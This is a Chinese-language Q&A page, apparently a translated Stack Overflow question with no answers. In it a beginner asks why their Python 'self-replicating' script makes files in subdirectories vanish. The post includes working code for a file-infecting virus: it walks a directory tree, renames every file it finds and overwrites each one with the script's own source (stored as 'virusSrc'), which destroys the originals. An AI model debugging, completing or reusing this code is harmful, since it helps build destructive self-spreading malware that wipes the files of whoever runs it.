os.rename()使文件消失?

时间:2019-08-22 05:39:14

标签: python

首先,我是Python的初学者,所以我对意大利面条式代码和可怕的变量命名表示歉意。

因此,基本上,我正在尝试制作一个自我复制脚本,该脚本将自己替换所有附近的文件。

IE: 如果plicatortor.py和program.exe位于同一目录中,则复制器将重命名并将program.exe重写为自身。

我已经实现了一个基本的分类器,可以对文件进行分类以查看目录中的文件:

    for files in filenames:
        if os.path.isdir(path+"\\"+files):
            directory.append(files)
            dirFiles.extend(SearchDir(path+"\\"+files))
        elif os.path.isfile(path+"\\"+files):
            nonDirFiles.append(files)

SearchDir()是另一个函数,该函数返回嵌套目录中的文件,virusSrc是此scipt的read()。

我找不到其他真正有用的答案,不确定这里出了什么问题。

def Infect(path):
    for files in nonDirFiles:
        src = path+"\\"+files
        dst = "generated" + str(random.randint(1,2000000)) + ".py"
        os.rename(src, dst) 
        f= open(dst, "w")
        f.write(virusSrc)
        f.close()
    for files in dirFiles:
        print (files)
        dstDir = "generated" + str(random.randint(230230,24230000)) + ".py"
        print (dstDir)
        os.rename(files, dstDir)
        w= open(dstDir, "w")
        w.write(virusSrc)
        w.close()

所有文件都被删除,而不是接收重命名的文件。但是,nonDirFiles不会被删除。

例如: 脚本\文件夹中的所有文件已成功转换 但是脚本\文件夹\其他文件夹中的所有文件都丢失了

0 个答案:

没有答案